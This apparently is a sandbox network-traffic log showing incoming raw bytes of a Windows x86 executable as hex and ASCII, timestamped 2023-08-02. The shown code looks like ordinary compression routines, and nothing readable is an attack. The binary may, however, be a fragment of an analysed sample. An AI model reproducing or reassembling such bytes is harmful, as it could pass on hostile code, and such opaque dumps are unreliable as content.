2023-08-02 08:30:45 UTC	2367	IN	Data Raw: 74 07 8b 10 51 8b c8 ff 12 ff 45 f8 83 45 fc 0c 8b 45 f8 3b 43 08 0f 8c 77 ff ff ff 8b 4d 08 e8 1a bc fe ff 5f 5e 5b c9 c2 08 00 a1 e8 c3 48 00 68 58 d3 47 00 89 45 f0 8d 45 f0 50 e8 c1 ed 04 00 a1 e8 c3 48 00 68 58 d3 47 00 89 45 ec 8d 45 ec 50 e8 ab ed 04 00 8b 44 24 08 83 f8 01 72 07 b8 57 00 07 80 eb 2b 8b 54 24 10 8d 04 40 8b 0c 85 1c c4 48 00 8d 04 85 18 c4 48 00 89 0a 8b 4c 24 14 66 8b 40 08 66 89 01 8b 44 24 0c 83 20 00 33 c0 c2 14 00 b8 28 56 47 00 e8 ff ec 04 00 83 ec 10 33 c9 66 89 4d e4 66 89 4d e6 83 7d 0c 2c 89 4d fc 75 16 8b 45 08 38 48 30 74 0e ff 70 24 8d 4d e4 ff 70 20 e8 03 f6 fe ff ff 75 10 8d 4d e4 e8 ea f6 fe ff 83 4d fc ff 8d 4d e4 e8 3b f6 fe ff 8b 4d f4 33 c0 64 89 0d 00 00 00 00 c9 c2 0c 00 b8 3c 56 47 00 e8 a2 ec 04 00 83 ec 10 Data Ascii: tQEEE;CwM_^[HhXGEEPHhXGEEPD$rW+T$@HHL$f@fD$ 3(VG3fMfM},MuE8H0tp$Mp uMMM;M3d<VG
2023-08-02 08:30:45 UTC	2383	IN	Data Raw: eb 12 48 48 e9 9d f8 ff ff b8 01 0b 42 00 c3 b8 0e 00 07 80 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b c9 c2 10 00 b8 4c 5c 47 00 e8 6f ad 04 00 83 ec 34 53 56 8b f1 57 33 db 6a 03 8d 4d e4 89 5d f0 89 5d e4 89 5d e8 89 5d ec e8 59 13 fe ff 38 5e 18 8b 7e 10 89 5d fc 0f 84 4b 01 00 00 89 7d f0 4f 3b fb 7c 66 8b 46 0c 66 8b 1c 78 66 83 fb 7a 75 26 8d 45 e4 66 ba 61 00 50 8d 4d d8 e8 de 0b 00 00 50 8d 4d e4 c6 45 fc 01 e8 a4 12 fe ff 80 65 fc 00 ff 75 d8 eb 2a 66 83 fb 5a 75 63 8d 45 e4 66 ba 41 00 50 8d 4d cc e8 b2 0b 00 00 50 8d 4d e4 c6 45 fc 02 e8 78 12 fe ff 80 65 fc 00 ff 75 cc e8 5e 6e fe ff 4f 59 79 9a 8d 7e 0c 8d 45 e4 50 8b cf e8 5a 12 fe ff 8b 4d 08 57 8b d6 e8 c9 a4 fe ff ff 75 e4 e8 39 6e fe ff 8b 45 08 59 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 Data Ascii: HHBM_^d[L\Go4SVW3jM]]]]Y8^~]K}O;\|fFfxfzu&EfaPMPMEeu*fZucEfAPMPMExeu^nOYy~EPZMWu9nEYM_^[d
2023-08-02 08:30:45 UTC	2399	IN	Data Raw: 00 a1 8c c9 48 00 a3 cc 0c 49 00 c3 8b 15 8c c9 48 00 56 8d 71 14 8b ce e8 1e 00 00 00 84 c0 75 15 8b 15 90 c9 48 00 8b ce e8 0d 00 00 00 84 c0 75 04 33 c0 5e c3 6a 01 58 5e c3 8b 09 e8 46 35 fe ff f7 d8 1b c0 40 c3 b8 80 64 47 00 e8 4c 6d 04 00 83 ec 24 53 56 8b 71 3c 57 8b 7d 08 83 7f 18 00 75 0e ff 35 cc 0c 49 00 8d 4f 14 e8 2f ea fd ff 8b cf e8 93 ff ff ff 84 c0 0f 84 42 01 00 00 83 fe 09 72 07 b8 00 00 00 04 eb 27 83 fe 07 72 07 b8 00 00 00 02 eb 1b 83 fe 05 72 07 b8 00 00 00 01 eb 0f 83 fe 03 1b c0 25 00 00 f1 ff 05 00 00 10 00 83 fe 05 8b 0d a8 c9 48 00 1b db 43 83 fe 07 1b ff 83 e7 e0 83 c7 40 83 fe 05 73 06 8b 0d a4 c9 48 00 66 83 65 e2 00 89 4d f0 66 c7 45 e0 13 00 89 45 e8 8b 4d 08 83 65 fc 00 8d 45 e0 50 6a 01 5a e8 69 03 00 00 83 ce ff 8d 4d Data Ascii: HIHVquHu3^jX^F5@dGLm$SVq<W}u5IO/Br'rr%HC@sHfeMfEEMeEPjZiM
2023-08-02 08:30:45 UTC	2415	IN	Data Raw: 6b 47 00 e8 96 2d 04 00 51 56 8b f1 89 75 f0 8d 8e 94 00 00 00 c7 45 fc 03 00 00 00 e8 f1 fa fd ff 8d 4e 7c c6 45 fc 02 e8 e5 fa fd ff 8d 4e 68 c6 45 fc 01 e8 d9 fa fd ff 80 65 fc 00 8d 4e 54 e8 cd fa fd ff 83 4d fc ff 8d 4e 04 e8 f2 aa ff ff 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c3 8b c1 83 60 04 00 83 60 08 00 c7 00 ec a7 47 00 c3 8b c1 33 c9 89 48 04 89 48 08 89 48 0c c7 40 10 04 00 00 00 c7 00 78 b1 47 00 c3 b8 9c 6b 47 00 e8 0a 2d 04 00 51 56 8b f1 89 75 f0 c7 06 00 b3 47 00 83 65 fc 00 e8 91 fa fd ff 83 4d fc ff 8b ce e8 5d fa fd ff 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c3 b8 b2 6b 47 00 e8 d2 2c 04 00 51 56 8b f1 6a 28 e8 29 ee fd ff 59 8b c8 89 4d f0 33 c0 3b c8 89 45 fc 74 08 ff 75 08 e8 e2 02 00 00 83 4d fc ff 50 8b ce e8 81 d0 fe ff 8b 4d f4 5e 64 Data Ascii: kG-QVuEN\|ENhEeNTMNM^d``G3HHH@xGkG-QVuGeM]M^dkG,QVj()YM3;EtuMPM^d
2023-08-02 08:30:45 UTC	2431	IN	Data Raw: 65 fc 00 e8 1e af fd ff 8b 75 08 59 eb 2a 50 51 8d 4e 0c e8 c4 8b ff ff 85 c0 74 0f 8b f0 ff 75 e4 e8 00 af fd ff 59 8b c6 eb 22 ff 75 e4 80 65 fc 00 e8 ef ae fd ff 59 43 e9 46 ff ff ff 33 c0 eb 0b b8 3a cb 42 00 c3 b8 0e 00 07 80 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b c9 c2 10 00 56 8b f2 57 8b f9 8d 46 0c 8d 56 08 50 e8 3e 00 00 00 85 c0 75 37 8b 07 66 83 38 3a 74 07 b8 57 00 07 80 eb 28 6a 01 6a 00 8b cf e8 25 aa fd ff 8d 46 04 8b d6 50 8b cf e8 13 00 00 00 85 c0 75 0c 8b 47 04 f7 d8 1b c0 25 57 00 07 80 5f 5e c3 56 57 8b 7c 24 0c 8b f1 83 27 00 e8 0a 98 ff ff 85 c0 74 2a 50 6a 00 8b ce e8 e7 a9 fd ff 8b 06 66 83 38 53 75 29 6a 01 6a 00 8b ce e8 d4 a9 fd ff 8b d7 8b ce e8 e0 97 ff ff 85 c0 75 07 b8 57 00 07 80 eb 0c 50 6a 00 8b ce e8 b6 a9 fd ff 33 c0 Data Ascii: euYPQNtuY"ueYCF3:BM_^d[VWFVP>u7f8:tW(jj%FPuG%W_^VW\|$'tPjf8Su)jjuWPj3
2023-08-02 08:30:45 UTC	2447	IN	Data Raw: 24 0c 8b f1 3b 7e 1c 7c 13 53 8d 5e 14 6a 00 8b cb e8 27 a1 00 00 3b 7e 1c 7d f2 5b 8b 4e 20 8a 44 24 10 84 c0 88 04 39 74 24 3b 7e 08 7c 0d 6a 00 6a 00 8b ce e8 73 2d ff ff eb ee 8b 46 0c 8b 4c 24 14 89 0c f8 8b 4c 24 18 89 4c f8 04 5f 5e c2 10 00 b8 48 78 47 00 e8 41 ad 03 00 83 ec 14 56 57 8b f9 8d b7 58 02 00 00 8b ce e8 ca 7a fd ff 81 c7 c8 01 00 00 8d 4d e0 57 e8 2f 3b ff ff 6a 0e 33 ff 5a 8d 4d e0 89 7d fc e8 3f 01 00 00 6a 0f 8d 4d e0 5a e8 34 01 00 00 6a 11 8b d6 8d 4d e0 e8 d7 00 00 00 6a 10 8b d6 8d 4d e0 e8 cb 00 00 00 6a 09 8b d6 8d 4d e0 e8 bf 00 00 00 6a 06 8b d6 8d 4d e0 e8 b3 00 00 00 6a 12 8b d6 8d 4d e0 e8 a7 00 00 00 6a 14 8b d6 8d 4d e0 e8 9b 00 00 00 6a 13 8b d6 8d 4d e0 e8 8f 00 00 00 6a 15 8b d6 8d 4d e0 e8 83 00 00 00 6a 0a 8b d6 Data Ascii: $;~\|S^j';~}[N D$9t$;~\|jjs-FL$L$L_^HxGAVWXzMW/;j3ZM}?jMZ4jMjMjMjMjMjMjMjMj
2023-08-02 08:30:45 UTC	2463	IN	Data Raw: 3b c3 0f 85 3f 01 00 00 39 5e 18 74 65 8b ce e8 8f fc ff ff ff 46 28 8b f8 3b fb c6 46 39 01 75 1c 8b 4e 34 3b cb 74 15 8b 56 10 3b d3 74 0e 8b 46 48 2b 46 20 50 e8 df af fd ff 8b f8 39 5e 10 75 16 80 7e 1c 00 74 10 39 5e 34 74 0b 6a 01 8b ce e8 0f fc ff ff eb 07 8b ce e8 32 fc ff ff 3b c3 0f 85 e0 00 00 00 3b fb 74 9d 8b c7 e9 d5 00 00 00 80 66 1c 00 83 7d ec 00 0f 87 b3 00 00 00 8b 5d 10 e9 d1 fe ff ff 8b 46 0c 8b 4e 28 8b 40 08 3b c8 7d 3a 8b 46 08 8b 56 24 03 d1 33 ff 8b 48 20 8b 40 0c 8d 0c d1 8b 11 8b 49 04 8b 04 90 8b 56 48 8b 40 70 8b 04 88 8b 48 10 89 4e 3c 8b 4e 4c 8b 40 0c 3b f9 77 17 72 04 3b c2 73 07 b8 05 40 00 80 eb 71 3b f9 72 2c 77 04 3b c2 76 26 8b c8 2b 4e 48 3b 4d 0c 72 03 8b 4d 0c 01 4d ec 85 db 74 05 8b 55 ec 89 13 01 4d 08 29 4d 0c Data Ascii: ;?9^teF(;F9uN4;tV;tFH+F P9^u~t9^4tj2;;tf}]FN(@;}:FV$3H @IVH@pHN<NL@;wr;s@q;r,w;v&+NH;MrMMtUM)M
2023-08-02 08:30:45 UTC	2479	IN	Data Raw: e8 7a 03 00 00 8d 46 18 8d 8d 18 fe ff ff 50 6a 08 5b 8b d3 e8 1e 03 00 00 84 c0 0f 84 c9 01 00 00 8d 7e 1c 8b d3 57 8d 8d 20 fe ff ff e8 05 03 00 00 84 c0 75 03 83 27 00 8d 7e 20 8b d3 57 8d 8d 28 fe ff ff e8 ed 02 00 00 84 c0 75 03 83 27 00 0f b6 85 30 fe ff ff 0f b6 8d 31 fe ff ff c1 e0 08 0b c1 0f b6 8d 32 fe ff ff c1 e0 08 0b c1 0f b6 8d 33 fe ff ff c1 e0 08 0b c1 3d 00 00 00 80 8d 46 10 89 45 0c 75 6a 0f b6 85 34 fe ff ff 0f b6 8d 35 fe ff ff c1 e0 08 0b c1 0f b6 8d 36 fe ff ff c1 e0 08 0b c1 0f b6 8d 37 fe ff ff 0f b6 bd 39 fe ff ff c1 e0 08 0b c1 33 c9 8b d0 0f b6 85 38 fe ff ff c1 e0 08 0b c7 0f b6 bd 3a fe ff ff c1 e0 08 0b c7 0f b6 bd 3b fe ff ff c1 e0 08 0b c7 33 ff 0b c8 8b 45 0c 0b d7 89 08 89 50 04 eb 17 50 6a 0c 5a 8d 8d 30 fe ff ff e8 df Data Ascii: zFPj[~W u'~ W(u'0123=FEuj4567938:;3EPPjZ0
2023-08-02 08:30:45 UTC	2495	IN	Data Raw: 65 fc 00 8d 4d 80 e8 56 00 00 00 33 c0 eb 0b b8 07 cb 43 00 c3 b8 0e 00 07 80 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b c9 c2 14 00 8b c1 33 c9 89 08 89 48 04 89 48 08 89 48 0c 89 48 10 89 48 14 89 48 18 89 48 1c 89 48 20 89 48 28 89 48 2c 89 48 30 c7 40 34 04 00 00 00 c7 40 24 30 b8 47 00 c3 b8 a7 87 47 00 e8 33 ed 02 00 51 51 56 8b f1 57 89 75 f0 83 65 fc 00 8d 7e 24 89 7d ec c7 07 30 b8 47 00 8b cf c6 45 fc 05 e8 ac ba fc ff 8b cf c6 45 fc 04 e8 78 ba fc ff 8b 46 20 c6 45 fc 03 85 c0 74 06 8b 08 50 ff 51 08 8b 46 1c c6 45 fc 02 85 c0 74 06 8b 08 50 ff 51 08 8b 46 14 c6 45 fc 01 85 c0 74 06 8b 08 50 ff 51 08 8b 46 10 80 65 fc 00 85 c0 74 06 8b 08 50 ff 51 08 8b 76 0c 83 4d fc ff 85 f6 74 06 8b 06 56 ff 50 08 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 c9 c3 e9 53 Data Ascii: eMV3CM_^d[3HHHHHHHH H(H,H0@4@$0GG3QQVWue~$}0GEExF EtPQFEtPQFEtPQFetPQvMtVPM_^dS
2023-08-02 08:30:45 UTC	2511	IN	Data Raw: e8 fe fc ff ff 8a 46 40 8b cf 50 e8 c1 fc ff ff 8a 46 41 8b cf 50 e8 b6 fc ff ff 8a 06 80 7d fd 00 88 45 f8 74 08 3c 2d 73 04 c6 45 f8 2d ff 75 f8 8b cf e8 99 fc ff ff 8a 46 01 8b cf 50 e8 8e fc ff ff 66 8b 46 02 8b cf 50 e8 91 fc ff ff 66 8b 46 04 8b cf 50 e8 85 fc ff ff ff 76 08 8b cf e8 9e fc ff ff ff 76 0c 8b cf e8 94 fc ff ff 80 7d ff 00 74 05 83 c8 ff eb 03 8b 46 10 50 8b cf e8 7e fc ff ff 80 7d 0b 00 74 05 83 c8 ff eb 03 8b 46 18 53 50 8b cf e8 67 fc ff ff ff 76 24 8b cf e8 3a fc ff ff 8a 5d fe 8a 45 ff f6 db 1b db 83 e3 08 f6 d8 1b c0 83 e0 08 03 d8 8a 45 0b f6 d8 1b c0 83 e0 08 03 d8 8a 45 fd f6 d8 8d 4b 04 1b c0 23 c1 8a 8e 8a 00 00 00 f6 d9 1b c9 83 e1 24 03 c1 8d 4e 68 89 45 f8 e8 83 fe ff ff 01 45 f8 8b cf ff 75 f8 e8 e5 fb ff ff ff b6 80 00 Data Ascii: F@PFAP}Et<-sE-uFPfFPfFPvv}tFP~}tFSPgv$:]EEEK#$NhEEu
2023-08-02 08:30:45 UTC	2527	IN	Data Raw: 4e 24 c7 44 24 78 ff ff ff ff e8 6b 32 ff ff 8d 4e 4c e8 63 32 ff ff 8d 4e 74 e8 5b 32 ff ff 8b 86 b4 00 00 00 85 c0 74 10 8b 10 50 ff 52 08 c7 86 b4 00 00 00 00 00 00 00 8b c7 e9 c9 00 00 00 8b 44 24 14 c6 44 24 78 00 85 c0 74 06 8b 08 50 ff 51 08 8b 74 24 10 c7 44 24 78 ff ff ff ff 8d 4e 24 e8 13 32 ff ff 8d 4e 4c e8 0b 32 ff ff 8b 46 74 33 db 3b c3 74 09 8b 10 50 ff 52 08 89 5e 74 8b 86 b4 00 00 00 3b c3 74 0c 8b 08 50 ff 51 08 89 9e b4 00 00 00 8b c7 eb 6e 8b 44 24 14 c6 44 24 78 00 3b c3 74 06 8b 10 50 ff 52 08 8b 74 24 10 c7 44 24 78 ff ff ff ff 8b 46 24 3b c3 74 09 8b 08 50 ff 51 08 89 5e 24 8b 46 4c 3b c3 74 09 8b 10 50 ff 52 08 89 5e 4c 8b 46 74 3b c3 74 09 8b 08 50 ff 51 08 89 5e 74 8b 86 b4 00 00 00 3b c3 74 a3 8b 10 50 ff 52 08 89 9e b4 00 00 Data Ascii: N$D$xk2NLc2Nt[2tPRD$D$xtPQt$D$xN$2NL2Ft3;tPR^t;tPQnD$D$x;tPRt$D$xF$;tPQ^$FL;tPR^LFt;tPQ^t;tPR
2023-08-02 08:30:45 UTC	2543	IN	Data Raw: 9c 70 02 00 00 8b 2a 83 c2 04 03 cd 46 3b c8 72 f4 8d 6e ff 3b eb 7e 20 3b 7c 24 18 74 1a 83 ff 01 74 15 8b 54 24 10 83 e2 01 80 fa 01 75 09 8b f5 2b 8c b4 70 02 00 00 8b 6c 24 24 33 c0 3b c3 7c 08 3b c6 7d 04 33 d2 eb 05 ba 01 00 00 00 88 14 28 8b 54 24 38 40 3b c2 7c e3 8b 44 24 1c 8b de 8b 74 24 10 2b c1 4f 46 81 ed 02 01 00 00 89 44 24 1c 85 ff 89 74 24 10 89 6c 24 24 0f 85 6f ff ff ff 8b 6c 24 54 c7 44 24 28 04 00 00 00 8b 5c 24 18 33 d2 8d b5 20 06 00 00 33 c0 8b fe 42 b9 02 01 00 00 81 c6 08 04 00 00 3b d3 f3 ab 7c ea 33 c9 8d 85 80 36 00 00 89 4c 24 34 89 44 24 1c 8b 54 24 3c 33 ff 8d 74 24 70 33 c0 8a 04 11 41 3d ff 00 00 00 72 08 33 db 8a 1c 11 03 c3 41 89 06 47 83 c6 04 83 ff 32 7d 06 3b 4c 24 20 72 da 89 4c 24 30 c7 44 24 24 ff ff ff ff c7 44 Data Ascii: p*F;rn;~ ;\|$ttT$u+pl$$3;\|;}3(T$8@;\|D$t$+OFD$t$l$$ol$TD$(\$3 3B;\|36L$4D$T$<3t$p3A=r3AG2};L$ rL$0D$$D
2023-08-02 08:30:45 UTC	2559	IN	Data Raw: 8b c2 89 56 04 3b c1 75 07 8b ce e8 bb 24 fc ff 8b 4e 28 c7 46 28 08 00 00 00 d3 eb 85 ff c6 46 2c 00 77 b0 e9 78 02 00 00 25 ff ff 00 00 33 d2 33 c9 89 44 24 14 8a 90 f0 13 49 00 8d b5 70 04 00 00 89 54 24 1c 8a 8c 2a 3d 08 00 00 8b 9c 95 80 11 00 00 8b f9 85 ff 76 7d 8b 46 28 3b f8 72 4b b9 08 00 00 00 2b f8 2b c8 8a c3 8b 2e d2 e0 8a 4e 2c 0a c1 8b 4e 04 88 04 29 8b 6e 04 8b 4e 08 45 8b c5 89 6e 04 3b c1 75 0b 8b ce e8 39 24 fc ff 8b 54 24 1c 8b 4e 28 c7 46 28 08 00 00 00 d3 eb 85 ff c6 46 2c 00 77 b0 eb 23 8b 6e 28 b0 01 8b cf d2 e0 b9 08 00 00 00 2b cd fe c8 22 c3 d2 e0 8a 4e 2c 0a c8 2b ef 88 4e 2c 89 6e 28 8b 44 24 14 8b 6c 24 10 8b 8d e0 04 00 00 33 db 8a 1c 11 8b 8d dc 04 00 00 8b fb 33 db 8a 1c 11 2b c3 85 ff 8b d8 76 71 8b 46 28 3b f8 72 47 b9 Data Ascii: V;u$N(F(F,wx%33D$IpT$*=v}F(;rK++.N,N)nNEn;u9$T$N(F(F,w#n(+"N,+N,n(D$l$33+vqF(;rG
2023-08-02 08:30:45 UTC	2575	IN	Data Raw: 00 00 00 00 5e c3 90 90 90 90 90 90 90 90 56 8b 74 24 08 8d 4e 30 e8 94 e4 fb ff 85 c0 75 0b 8b 8e ac 1c 00 00 e8 c4 fc ff ff 5e c2 04 00 51 8b 41 2c 56 8d 71 08 8b 54 24 0c b9 0f 00 00 00 57 8b 7e 20 2b c8 d3 ef b9 11 00 00 00 03 c2 2b ca 89 46 24 81 e7 ff ff 01 00 d3 ef 83 f8 10 72 72 8b 06 8b 4e 04 3b c1 72 0d 8b ce e8 0e d5 fb ff 88 44 24 08 eb 09 8a 08 40 88 4c 24 08 89 06 8b 06 8b 4e 04 3b c1 72 0d 8b ce e8 ef d4 fb ff 88 44 24 10 eb 09 8a 10 40 88 54 24 10 89 06 8b 46 20 8b 4c 24 10 8b 54 24 08 81 e1 ff 00 00 00 c1 e0 08 0b c1 8b 4e 24 c1 e0 08 81 e2 ff 00 00 00 83 c1 f0 0b c2 89 4e 24 89 46 20 8b c1 83 f8 10 73 8e 8b c7 5f 5e 59 c2 04 00 90 90 90 90 81 ec b4 00 00 00 53 55 56 33 db 57 8b e9 33 f6 6a 04 8b cd e8 37 ff ff ff 88 44 34 28 46 83 fe 14 Data Ascii: ^Vt$N0u^QA,VqT$W~ ++F$rrN;rD$@L$N;rD$@T$F L$T$N$N$F s_^YSUV3W3j7D4(F
2023-08-02 08:30:45 UTC	2591	IN	Data Raw: 90 b1 47 00 c7 41 04 80 b1 47 00 e9 ae ff ff ff 90 90 90 90 90 90 90 90 90 90 90 90 90 90 6a ff 68 9e 9b 47 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 81 ec 94 00 00 00 53 55 8b e9 56 57 8d 4c 24 1c e8 48 94 fb ff 33 ff 89 bc 24 ac 00 00 00 89 7c 24 40 89 7c 24 44 89 7c 24 54 89 7c 24 60 68 00 00 10 00 8d 4c 24 20 c6 84 24 b0 00 00 00 01 e8 2c 94 fb ff 84 c0 75 62 8d 4c 24 40 c6 84 24 ac 00 00 00 02 e8 34 a3 fb ff 8b 44 24 54 c6 84 24 ac 00 00 00 00 3b c7 74 06 8b 08 50 ff 51 08 8d 4c 24 1c c7 84 24 ac 00 00 00 03 00 00 00 e8 2b 94 fb ff 8b 44 24 28 c7 84 24 ac 00 00 00 ff ff ff ff 3b c7 0f 84 90 00 00 00 8b 10 50 ff 52 08 b8 0e 00 07 80 e9 26 06 00 00 8b 84 24 b4 00 00 00 8d 4c 24 1c 50 e8 04 94 fb ff 8d 4c 24 1c e8 0a 94 fb ff 68 00 00 10 00 8d 4c 24 Data Ascii: GAGjhGdPd%SUVWL$H3$\|$@\|$D\|$T\|$`hL$ $,ubL$@$4D$T$;tPQL$$+D$($;PR&$L$PL$hL$
2023-08-02 08:30:45 UTC	2607	IN	Data Raw: ff ff 5f 5e 5b 83 f9 03 76 11 8b 54 24 18 33 c0 89 02 8b c5 5d 83 c4 0c c2 0c 00 8b 54 24 18 49 d3 e0 83 e0 07 89 02 8b c5 5d 83 c4 0c c2 0c 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 83 ec 2c 83 fa 10 73 08 33 c0 83 c4 2c c2 08 00 8b 44 24 30 53 55 83 ea 10 56 2b c1 57 89 54 24 28 c7 44 24 10 00 00 00 00 8b f9 89 44 24 24 90 0f b6 07 83 e0 1f 0f b6 88 bc c5 47 00 b8 05 00 00 00 33 f6 89 4c 24 20 89 44 24 1c 89 74 24 18 8b 54 24 20 8b ce d3 ea f6 c2 01 0f 84 84 01 00 00 8b f0 8b c8 c1 ee 03 0f b6 44 37 05 99 0f a4 c2 08 c1 e0 08 8b d8 0f b6 44 37 04 8b ea 99 83 e1 07 03 d8 0f b6 44 37 03 13 ea 0f a4 dd 08 99 c1 e3 08 03 d8 0f b6 44 37 02 13 ea 0f a4 dd 08 99 c1 e3 08 03 d8 0f b6 44 37 01 13 ea 0f a4 dd 08 99 c1 e3 08 03 d8 0f b6 04 37 13 ea 0f a4 dd 08 Data Ascii: _^[vT$3]T$I],s3,D$0SUV+WT$(D$D$$G3L$ D$t$T$ D7D7D7D7D77
2023-08-02 08:30:45 UTC	2623	IN	Data Raw: 75 08 8b d1 c7 02 02 00 00 00 83 7e 78 08 0f 85 da fd ff ff e9 5f fd ff ff bd 01 00 00 00 e9 61 fd ff ff 8b 44 24 48 c7 00 02 00 00 00 e9 50 fd ff ff 8b 4c 24 48 c7 01 03 00 00 00 e9 41 fd ff ff 8b 54 24 48 c7 02 03 00 00 00 e9 32 fd ff ff 8b e8 e9 2d fd ff ff 5f 5e 8b c5 5d 5b 83 c4 24 c2 14 00 5f 5e 5d 33 c0 5b 83 c4 24 c2 14 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 83 ec 08 8b 4c 24 10 8b 01 53 33 db 39 5f 18 55 8b 6c 24 14 0f 95 c3 89 44 24 0c c7 44 24 14 00 00 20 00 c7 01 00 00 00 00 83 c3 05 3b c3 73 0d 5d b8 07 00 00 00 5b 83 c4 08 c2 0c 00 8b 0f 2b c3 89 44 24 08 e8 a6 25 00 00 8b 57 14 8d 44 24 14 50 68 00 00 01 00 8d 4c 24 10 51 8b 0f 03 dd 53 e8 6a 62 00 00 8b 54 24 14 85 d2 0f 84 9f 01 00 00 56 85 c0 75 2c 8b 74 24 0c 8d 46 02 3b c2 73 Data Ascii: u~x_aD$HPL$HAT$H2-_^][$_^]3[$L$S39_Ul$D$D$ ;s][+D$%WD$PhL$QSjbT$Vu,t$F;s
2023-08-02 08:30:45 UTC	2639	IN	Data Raw: 0f b6 8c 24 80 00 00 00 57 8d bd a0 0e 03 00 e8 da f0 ff ff eb 50 0f b6 84 24 80 00 00 00 c7 44 24 34 00 00 00 00 0d 00 01 00 00 8d 49 00 8b c8 c1 e9 08 0f b7 14 4f 8b c8 c1 e9 07 83 e1 01 f7 d9 c1 f9 04 83 e1 7f c1 ea 04 33 d1 8b 4c 24 34 03 8c 95 a0 0e 03 00 03 c0 89 4c 24 34 3d 00 00 01 00 72 ca 8b c1 8b 54 24 2c 03 d0 89 54 24 2c 3b 93 d0 06 00 00 73 2c 89 93 d0 06 00 00 8b 54 24 14 89 93 e8 06 00 00 c7 83 ec 06 00 00 ff ff ff ff c7 83 d8 06 00 00 00 00 00 00 c7 44 24 28 01 00 00 00 8b 4c 24 40 0f b7 84 4d b0 25 03 00 0f b7 94 75 30 27 03 00 35 f0 07 00 00 c1 e8 04 8b 84 85 a0 0e 03 00 03 44 24 24 81 f2 f0 07 00 00 c1 ea 04 8b bc 95 a0 0e 03 00 8b 54 24 14 03 f8 89 44 24 58 8a 84 24 80 00 00 00 89 7c 24 48 38 44 24 13 75 61 39 93 e8 06 00 00 73 09 83 Data Ascii: $WP$D$4IO3L$4L$4=rT$,T$,;s,T$D$(L$@M%u0'5D$$T$D$X$\|$H8D$ua9s
2023-08-02 08:30:45 UTC	2655	IN	Data Raw: 24 14 8a 48 02 80 f9 07 73 14 fe 48 03 75 0f 66 d1 20 b2 03 d2 e2 fe c1 88 48 02 88 50 03 89 7e 08 8a 1f 8b ce e8 14 fb ff ff 5f 5e 5d 0f b6 c3 5b 81 c4 0c 05 00 00 c3 5f 5e 5d b8 fe ff ff ff 5b 81 c4 0c 05 00 00 c3 cc cc cc cc cc cc 33 c0 89 01 89 41 04 c7 41 08 ff ff ff ff 88 41 0c c7 41 10 01 00 00 00 89 41 14 c3 cc cc cc cc 8b 46 08 33 d2 f7 74 24 0c 53 bb 00 00 00 00 8b c8 0f af 4c 24 08 01 0e 11 5e 04 0f af 44 24 0c 89 46 08 3d 00 00 00 01 73 78 55 57 83 cd ff 90 8b 3e c1 66 08 08 81 ff 00 00 00 ff 72 10 8b 56 04 8b c7 b1 20 e8 36 67 00 00 85 c0 74 3a 8a 5e 0c 8b 06 8b 56 04 8b 7e 18 b1 20 e8 20 67 00 00 8b ca 8d 14 03 8b 07 8b cf ff d0 80 cb ff 01 6e 10 8b 46 10 11 6e 14 0b 46 14 75 d5 8b 3e 8b cf c1 e9 18 88 4e 0c 33 db 83 46 10 01 89 5e 04 11 5e Data Ascii: $HsHuf HP~_^][_^][3AAAAAF3t$SL$^D$F=sxUW>frV 6gt:^V~ gnFnFu>N3F^^
2023-08-02 08:30:45 UTC	2671	IN	Data Raw: 89 51 58 89 41 5c 89 41 60 89 81 a8 00 00 00 89 81 bc 00 00 00 89 81 d0 00 00 00 89 81 e4 00 00 00 89 01 89 41 04 89 41 48 89 41 4c c3 cc 83 c1 58 e9 98 f9 ff ff cc cc cc cc cc cc cc cc 83 ec 58 8b 44 24 5c 53 8b 5c 24 68 55 8b 6c 24 68 56 57 89 54 24 10 8b 13 8b f9 8b 08 c7 00 00 00 00 00 8b 44 24 7c c7 03 00 00 00 00 89 4c 24 1c 89 54 24 18 c7 00 00 00 00 00 eb 03 8d 49 00 8b 0b 8b 74 24 18 8b 07 2b f1 89 74 24 74 83 f8 06 0f 85 17 01 00 00 8b 44 24 1c 8b 4c 24 6c 2b 01 89 74 24 70 89 44 24 74 85 f6 75 08 85 c0 0f 84 91 05 00 00 8b 54 24 7c 8b 44 24 78 52 50 6a 00 8d 4c 24 7c 51 55 8d 94 24 88 00 00 00 52 8b 54 24 28 8d 4f 58 e8 d5 f9 ff ff 8b 74 24 74 8b 54 24 10 56 8d 8f 90 01 00 00 89 44 24 18 e8 ad f1 ff ff 8b 44 24 70 01 03 8b 4c 24 6c 03 e8 01 47 Data Ascii: QXA\A`AAHALXXD$\S\$hUl$hVWT$D$\|L$T$It$+t$tD$L$l+t$pD$tuT$\|D$xRPjL$\|QU$RT$(OXt$tT$VD$D$pL$lG
2023-08-02 08:30:45 UTC	2687	IN	Data Raw: 0f 83 e6 f0 eb 03 6a 10 5e 89 75 0c 89 7d dc 83 fe e0 0f 87 f3 00 00 00 6a 09 e8 59 1a 00 00 59 c7 45 fc 01 00 00 00 8d 45 d4 50 8d 45 c8 50 53 e8 3f 2d 00 00 83 c4 0c 8b f8 89 7d d0 85 ff 0f 84 aa 00 00 00 3b 35 5c 01 49 00 73 5c 8b de c1 eb 04 53 57 ff 75 d4 ff 75 c8 e8 dd 30 00 00 83 c4 10 85 c0 74 08 8b 45 08 89 45 dc eb 38 53 e8 9c 2d 00 00 59 89 45 dc 85 c0 74 2a 0f b6 07 c1 e0 04 89 45 cc 3b c6 72 02 8b c6 50 ff 75 08 ff 75 dc e8 37 fa ff ff 57 ff 75 d4 ff 75 c8 e8 28 2d 00 00 83 c4 18 8b 5d 08 83 7d dc 00 75 53 56 6a 00 ff 35 80 65 49 00 ff 15 8c a1 47 00 89 45 dc 85 c0 74 3d 0f b6 07 c1 e0 04 89 45 cc 3b c6 72 02 8b c6 50 53 ff 75 dc e8 f0 f9 ff ff 57 ff 75 d4 ff 75 c8 e8 e1 2c 00 00 83 c4 18 eb 13 56 53 6a 00 ff 35 80 65 49 00 ff 15 94 a1 47 00 Data Ascii: j^u}jYYEEPEPS?-};5\Is\SWuu0tEE8S-YEt*E;rPuu7Wuu(-]}uSVj5eIGEt=E;rPSuWuu,VSj5eIG
